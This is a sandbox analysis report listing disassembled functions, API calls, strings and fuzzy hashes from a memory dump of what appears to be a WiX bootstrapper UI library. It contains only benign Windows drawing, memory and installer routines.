Instruction ID: 6c5a2b959d37ad966d20dfde8cf158cb9a1d11cafd43754714ef00fb7b262821
Opcode Fuzzy Hash: 762d3332bef7f74191ccbd04080206d8de99b6655efb03d7036bafc84d08b24b
Instruction Fuzzy Hash: 55114275A02318AFDB20DF65DC88BEAB7F8EB49304F1041A6E515E6241DB70EA448F59

Function 6C6881E3 Relevance: 7.6, APIs: 5, Instructions: 118COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 6C68820E
DeleteObject.GDI32(?), ref: 6C688220
DeleteObject.GDI32(?), ref: 6C688231
ImageList_Destroy.COMCTL32(?,00000000,00000000,00000000,?,6C6898CE,00000000,?,?,6C689918,00000000,00000000,?,00000000,00000000,00000000), ref: 6C68829A
DeleteObject.GDI32(?), ref: 6C6882F2

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: DeleteObject$DestroyImageList_
String ID:
API String ID: 2242027670-0
Opcode ID: 4859d2b90ea17295e914457b99a62c19b5033453088a468d78403aafa454043f
Instruction ID: 06ed712a8794cb127d201c736e382b476d4e773f66fa1a4da7d108e649b86d75
Opcode Fuzzy Hash: 4859d2b90ea17295e914457b99a62c19b5033453088a468d78403aafa454043f
Instruction Fuzzy Hash: DE416D31606B029BDB109F75C9E4A17B7B8FF48359720892AE55697E22C730F441CBBC

Function 6C6925A8 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C6925B6

Part of subcall function 6C68E067: __FF_MSGBANNER.LIBCMT ref: 6C68E080
Part of subcall function 6C68E067: __NMSG_WRITE.LIBCMT ref: 6C68E087
Part of subcall function 6C68E067: HeapAlloc.KERNEL32(00000000,00000001,?,00000000,?,?,6C68BC56,?), ref: 6C68E0AC

_free.LIBCMT ref: 6C6925C9

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: b5eb15b62c5b5d58889e2b99532bcb7d1ca9e90eac53fccce2fa4cb45bd9b621
Instruction ID: e1b821f8453799d109070356fca80d07d817b662013ae71e3e02cf9c4ee9e3a6
Opcode Fuzzy Hash: b5eb15b62c5b5d58889e2b99532bcb7d1ca9e90eac53fccce2fa4cb45bd9b621
Instruction Fuzzy Hash: FC11CD32546217BBCF213F75981C6C937B5AF46374F204625F84997E50DF30D49686AC

Function 6C686D27 Relevance: 7.6, APIs: 5, Instructions: 59windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 6C686D66
SelectObject.GDI32(00000000,?), ref: 6C686D84
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 6C686DA6
SelectObject.GDI32(?,?), ref: 6C686DB2
DeleteDC.GDI32(?), ref: 6C686DB7

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDeleteStretch
String ID:
API String ID: 732282326-0
Opcode ID: eb4f65a7bbd44a187b079e31db9d602b39bd5b08ec580b704fcd5737585edf3a
Instruction ID: c36c36396d5d5c8348eba504dea1034360d847ece9352704419886b2518edf68
Opcode Fuzzy Hash: eb4f65a7bbd44a187b079e31db9d602b39bd5b08ec580b704fcd5737585edf3a
Instruction Fuzzy Hash: D8213376A00609EFDB119FAAC885A9EBBF5FF48350F104259E905A2A60D731E910DFA4

Function 6C686A60 Relevance: 7.6, APIs: 5, Instructions: 59windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 6C686AA3
SelectObject.GDI32(00000000,?), ref: 6C686ABE
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 6C686AE0
SelectObject.GDI32(?,?), ref: 6C686AEC
DeleteDC.GDI32(?), ref: 6C686AF1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDeleteStretch
String ID:
API String ID: 732282326-0
Opcode ID: 5af830fc97049bd5a8889667ee1ca4a0c6eef37b5ab25046b801bfd125a38bac
Instruction ID: e5c9d013d5421a47b44bdd6da1dd8c156785041fa945e900e460f189bc1744f4
Opcode Fuzzy Hash: 5af830fc97049bd5a8889667ee1ca4a0c6eef37b5ab25046b801bfd125a38bac
Instruction Fuzzy Hash: 4D21AC76900209FFCB11CFA9C884E9EBBB5FF48305F208659EA15A7220D732E951CF90

Function 6C686225 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 6C68624C
SelectObject.GDI32(00000000,?), ref: 6C68625F
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 6C686282
SelectObject.GDI32(?,?), ref: 6C68628E
DeleteDC.GDI32(?), ref: 6C686293

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ObjectSelect$CompatibleCreateDeleteStretch
String ID:
API String ID: 732282326-0
Opcode ID: 50f81df9a1e24133cf68a4e50a9ad733c1c6dbffd56613ad2b478424e853ea3e
Instruction ID: d46e2a1d20d4caa366a1d65e4ac8d0169e9c961c084ec34b8cd3b71e85e7fee7
Opcode Fuzzy Hash: 50f81df9a1e24133cf68a4e50a9ad733c1c6dbffd56613ad2b478424e853ea3e
Instruction Fuzzy Hash: 69115B31212604FFDF209F55CC44E9A7BB9FF49312B10866DF64A8A920C731E850DFA4

Function 6C68FF8B Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6C68FF97

Part of subcall function 6C68E32E: __getptd_noexit.LIBCMT ref: 6C68E331
Part of subcall function 6C68E32E: __amsg_exit.LIBCMT ref: 6C68E33E

__getptd.LIBCMT ref: 6C68FFAE
__amsg_exit.LIBCMT ref: 6C68FFBC
__lock.LIBCMT ref: 6C68FFCC
__updatetlocinfoEx_nolock.LIBCMT ref: 6C68FFE0

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 23e47753867c85767f8f91dd67d410212c84caa63501917586c9c13565cf0062
Instruction ID: 8ff018b94fca454ae62873490ecd8b0c1dc56abe74ea15ae5d3c13c1e152c5e1
Opcode Fuzzy Hash: 23e47753867c85767f8f91dd67d410212c84caa63501917586c9c13565cf0062
Instruction Fuzzy Hash: 75F0B436A077229BDB61AB759401B8D32A0AF0372CF21414AD55567FC0CB645944CABF

Function 6C687EF6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 6C68804C

Part of subcall function 6C68A652: GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
Part of subcall function 6C68A652: RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

Strings

thmutil.cpp, xrefs: 6C687F82
Image, xrefs: 6C687F04

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Heap$AllocateFreeProcessString
String ID: Image$thmutil.cpp
API String ID: 225170609-69592264
Opcode ID: 69b78ad8ac4cd971ab7dba03722b59283f57b219e1b768d22fc9c2712f3b2aad
Instruction ID: 1a9de6d623b5e4cb80622d236b36b3d0a0cca1488d2fc82b4a7e7c9f767b41ee
Opcode Fuzzy Hash: 69b78ad8ac4cd971ab7dba03722b59283f57b219e1b768d22fc9c2712f3b2aad
Instruction Fuzzy Hash: 5B41A036A0230AABDB01CFA5C880FAE77B9EF48318F104469F411E7650DB75DE45DB28

Function 6C6868E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 6C686A0B

Part of subcall function 6C68A652: GetProcessHeap.KERNEL32(?,?,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage), ref: 6C68A663
Part of subcall function 6C68A652: RtlAllocateHeap.NTDLL(00000000,?,6C6842E5,?,00000001,?,00000000,?,6C68B383,?,00000000,?,?,6C6815F0,WixBundleForcedRestartPackage,00000074), ref: 6C68A66A

SysFreeString.OLEAUT32(?), ref: 6C6869CC

Strings

thmutil.cpp, xrefs: 6C686976
Tab|t, xrefs: 6C6868F1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: FreeHeapString$AllocateProcess
String ID: Tab|t$thmutil.cpp
API String ID: 336948655-4153286600
Opcode ID: 46170077f2ae710532ec66b35a4f90b69c13c4fb02b9f376d71ff67795778752
Instruction ID: 359c58d02d6dcd2f7bc01e2b776808026f97bade71a73cef179eb7d3a49669a2
Opcode Fuzzy Hash: 46170077f2ae710532ec66b35a4f90b69c13c4fb02b9f376d71ff67795778752
Instruction Fuzzy Hash: E1416972D1221ABFDF00AFE4C8848DDB7B8BB05318B5145B9E952FB640D731DE408BA8

Function 6C68A44B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C68A45B
ShellExecuteExW.SHELL32(00000000), ref: 6C68A499
CloseHandle.KERNEL32(00000000), ref: 6C68A52A

Strings

<, xrefs: 6C68A48B

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CloseExecuteHandleShell_memset
String ID: <
API String ID: 1378689676-4251816714
Opcode ID: d5fb041e59c0c7cde2f51a9e2e407abe42350af944ecc05ab69539ae229a50c6
Instruction ID: 56c2c9bdc877509a5b022ee29b6193be541a853aed8897d630d070df97eb4036
Opcode Fuzzy Hash: d5fb041e59c0c7cde2f51a9e2e407abe42350af944ecc05ab69539ae229a50c6
Instruction Fuzzy Hash: DC315C7595211ADBDB00CFD8D944ADA76B4FB09368F204156EC14EBAC2D638C980CBBE

Function 6C683980 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C6839CC
_memset.LIBCMT ref: 6C6839DE
GetOpenFileNameW.COMDLG32(00000058,?,00000104,?), ref: 6C683A57

Strings

X, xrefs: 6C683A19

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: _memset$FileNameOpen
String ID: X
API String ID: 1730825344-3081909835
Opcode ID: 7b3d43d415aabbf8c7947ad11bcab727ef1389e3efab94d3c225dd27de0b9bb1
Instruction ID: 3b2db72153d2f27dd96c2b34262eea4be8c8da9f9f44ed3b9b29f1439766f532
Opcode Fuzzy Hash: 7b3d43d415aabbf8c7947ad11bcab727ef1389e3efab94d3c225dd27de0b9bb1
Instruction Fuzzy Hash: 3231A271A023199FDB20DF69CC89BCAB7F8EF45304F1005A9E919B7650C7759A84CF64

Function 6C6828BF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 6C6828F1
CompareStringW.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 6C682937

Strings

Skipping package: %ls, after restart because it was applied before the restart., xrefs: 6C682965
Skipping package: %ls, because it isn't a pre-req package., xrefs: 6C682916

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CompareString
String ID: Skipping package: %ls, after restart because it was applied before the restart.$Skipping package: %ls, because it isn't a pre-req package.
API String ID: 1825529933-1974294762
Opcode ID: c916607a11ab3cf0fcedd1fec4f4fd8611cfba30326ef71deddcbee56fd30a9f
Instruction ID: e13c0064b2676cd494a8a24929caa09180885b18ecb4f1795bd9cc6e0ca2bf79
Opcode Fuzzy Hash: c916607a11ab3cf0fcedd1fec4f4fd8611cfba30326ef71deddcbee56fd30a9f
Instruction Fuzzy Hash: 78215371545209EFDF018F75CC859DA77B9FB06368F108629F6768A690C731E8418BB8

Function 6C687991 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61timeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000000), ref: 6C6879A4
SetTimer.USER32(?,?,?,00000000), ref: 6C6879F5
GetLastError.KERNEL32(?,6C6883C1,?,?,0000FFFF,?,00000000), ref: 6C6879FF

Strings

thmutil.cpp, xrefs: 6C687A24

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorItemLastTimer
String ID: thmutil.cpp
API String ID: 3502022836-2961750086
Opcode ID: 2306fbb4bc1e41287353db943d25117fea566f7561066c48377538e51b59fd89
Instruction ID: 27a017d13c56f777995dc502fc700723dc5d3ea2d988d38c9bb28eea22187a5b
Opcode Fuzzy Hash: 2306fbb4bc1e41287353db943d25117fea566f7561066c48377538e51b59fd89
Instruction Fuzzy Hash: 7F1129313561129FDB144F178C00E3B37BAEB81716F24802AF456CBA90E638C840867C

Function 6C684CD8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(000011FF,00000000,?,00000000,?,00000000,?,00000420,?,?,?,?,6C682FA2,?,?,00000000), ref: 6C684D0A
GetLastError.KERNEL32(?,?,?,?,6C682FA2,?,?,00000000), ref: 6C684D17
LocalFree.KERNEL32(?,?,?,00000000,?,?,?,?,6C682FA2,?,?,00000000), ref: 6C684D5E

Strings

strutil.cpp, xrefs: 6C684D3C

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID: strutil.cpp
API String ID: 1365068426-3612885251
Opcode ID: 3f9ad04a50da979098c5c35124447bbf904bf9e2a356c9ef97b95469777a328e
Instruction ID: da0f6758427c3c429b89a01b1dd10f17a2f7380f84885d2f88617eecd8e6d2f8
Opcode Fuzzy Hash: 3f9ad04a50da979098c5c35124447bbf904bf9e2a356c9ef97b95469777a328e
Instruction Fuzzy Hash: EA11A172902105FBDB129F89CC188EE7ABDEF82350F200669F911A6550E7B08A00DB68

Function 6C685F90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6C430000,6C68418C), ref: 6C685F9A
UnregisterClassW.USER32(ThemeHyperLink,6C680000), ref: 6C685FB6
InterlockedDecrement.KERNEL32(6C69D11C), ref: 6C68999F

Strings

ThemeHyperLink, xrefs: 6C685FB1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ClassDecrementFreeInterlockedLibraryUnregister
String ID: ThemeHyperLink
API String ID: 915346831-4049536123
Opcode ID: 33e1d1451779c6ff22c7f5ff66173dbe80a68fa18085e7f11da6cfa33a32dd48
Instruction ID: 8e348a44984ca3c53ab7da543b9cdbed3279d3e50c2310ad4176920ce702695f
Opcode Fuzzy Hash: 33e1d1451779c6ff22c7f5ff66173dbe80a68fa18085e7f11da6cfa33a32dd48
Instruction Fuzzy Hash: 14F0B77231A603AFFF009E6BC989B2672B8B71375AF244535E511D2990D734C4159E3E

Function 6C681FB6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 6C681FC0
DestroyWindow.USER32(?), ref: 6C681FD0
UnregisterClassW.USER32(WixStdBA,?), ref: 6C681FF5

Strings

WixStdBA, xrefs: 6C681FF0

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Window$ClassDestroyUnregister
String ID: WixStdBA
API String ID: 1257303165-3560578689
Opcode ID: 85ccbf3c4b67c5fdaa15eed49e3069d5dcfa6ec98e96ce5d946185148dc1f625
Instruction ID: d6e30fc3e117c36707879ff528e5ce95c1ee95df9dc18e5d7700e66852cd22a5
Opcode Fuzzy Hash: 85ccbf3c4b67c5fdaa15eed49e3069d5dcfa6ec98e96ce5d946185148dc1f625
Instruction Fuzzy Hash: 9FE0E531106B019BEB210FB1D809BA6BAF4BB01327F000A1FE16AA4060C7706454CB29

Function 6C685D47 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,Control,00000000,00000000,00000000,?), ref: 6C685D74
GetLastError.KERNEL32 ref: 6C685DA0

Part of subcall function 6C685951: SysFreeString.OLEAUT32(00000001), ref: 6C68599C
Part of subcall function 6C685951: SysFreeString.OLEAUT32(00000000), ref: 6C685A39

Strings

locutil.cpp, xrefs: 6C685DBD, 6C685DEC
Control, xrefs: 6C685D56

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorFreeLastString
String ID: Control$locutil.cpp
API String ID: 3822639702-45981919
Opcode ID: 5b1b93502c26b5d8328317f86e0c54c430e19184af86b8374a9c069810380298
Instruction ID: 39b56fe85ed0aa2a94aa8f1edfcb26267b40b61ba39560e390dc4eded1284ba7
Opcode Fuzzy Hash: 5b1b93502c26b5d8328317f86e0c54c430e19184af86b8374a9c069810380298
Instruction Fuzzy Hash: 1F418270A02706AFFB009FA5CC88BAA77F8EF01348F104569E916DBA50D734D906CB78

Function 6C6920D4 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6C692108
__isleadbyte_l.LIBCMT ref: 6C69213B
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,00000000,00000000,?,?,?,?,?,00000000), ref: 6C69216C
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6C6921DA

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: a6b92cca444f8bd9704908558bb26a6cb882733d8a4d701f4aab5e32bb7b00d5
Instruction ID: ea534158b0fb088f2fa046e18c834dd3ea1b9062cc0ee0dcfdaf1453c11c8fb3
Opcode Fuzzy Hash: a6b92cca444f8bd9704908558bb26a6cb882733d8a4d701f4aab5e32bb7b00d5
Instruction Fuzzy Hash: 80310631A05247EFDB10CF68CC889EE3BB5FF02314F2446A9E6609B590D730D995EB58

Function 6C6880A6 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 6C6880B7
CloseWindow.USER32(00000000), ref: 6C6880C4
DeleteObject.GDI32(?), ref: 6C6880EF
DeleteObject.GDI32(?), ref: 6C688115

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: DeleteObjectWindow$Close
String ID:
API String ID: 899310130-0
Opcode ID: e4140734ba3ad0ba34e69e1e14c7387295c9d363fd1707f454df3e8405e60d03
Instruction ID: bcbd94589ad48274cc95491acf13807b82e29d02e3787dc63dbb589d8d5516a4
Opcode Fuzzy Hash: e4140734ba3ad0ba34e69e1e14c7387295c9d363fd1707f454df3e8405e60d03
Instruction Fuzzy Hash: FC314131603B028FEB219E75C8D495B77E9BB497493114929E592D7A30CF30E446CB7C

